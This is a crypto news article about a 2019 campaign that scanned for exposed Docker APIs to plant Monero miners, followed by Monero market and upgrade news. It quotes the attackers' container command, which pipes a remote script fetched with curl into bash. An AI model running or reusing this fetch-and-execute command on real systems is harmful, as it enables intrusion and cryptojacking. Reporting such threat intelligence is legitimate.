Hackers Are Scanning For Docker Vulnerability To Mine Monero (XMR)
It’s been revealed by The Next Web that a hacking group is reportedly performing a mass scan of the Internet in order to search a vulnerability in ports on systems using enterprise sandbox software Docker to mine crypto.
According to the security researchers at Bad Packets, the scans found vulnerabilities that allow bad actors to inject malicious code that deploys a crypto miner on a company’s Docker instances.
Opportunistic mass scanning activity detected targeting exposed Docker API endpoints.
These scans create a container using an Alpine Linux image, and execute the payload via:
"Command": "chroot /mnt /bin/sh -c 'curl -sL4 https://t.co/q047bRPUyj | bash;'",#threatintel pic.twitter.com/vxszV5SF1o
— Bad Packets Report (@bad_packets) November 25, 2019
It’s been revealed that Troy Mursch, chief researcher and co-founder of Bad Packets, told ZDNet such activity is not something uncommon, but this particular campaign was unique due to its size.
“In the few days since hackers started scanning for exposed Docker instances, more than 14.8 Monero has been mined, about $740 worth, Mursch added,” as The Next Web points out.
Check out both publications in order to learn more details on the issue.
Monero in the news
In brighter news, Monero has been enjoying increasing popularity lately, despite the volatility of the crypto market.
More crypto enthusiasts found XMR to be a great investment choice this year.
As you already know, not too long ago, BTC’s price fell really hard, and the most important coin in the crypto market dragged the other ones down as well.
But, the digital assets are struggling to recover, and XMR is doing the same thing.
For instance, at the moment of writing this article, XMR is placed on the 13th position on CMC. The privacy-oriented coin is trading in the red, and it’s priced at $55.83.
In other news, Monero is getting ready for the new upgrade that’s set to take place soon.
The Monero project is ready for the upcoming network upgrade for quite a while now.
Monero is about to move to one of the most awaited ASIC-resistant algorithms – RondomX.
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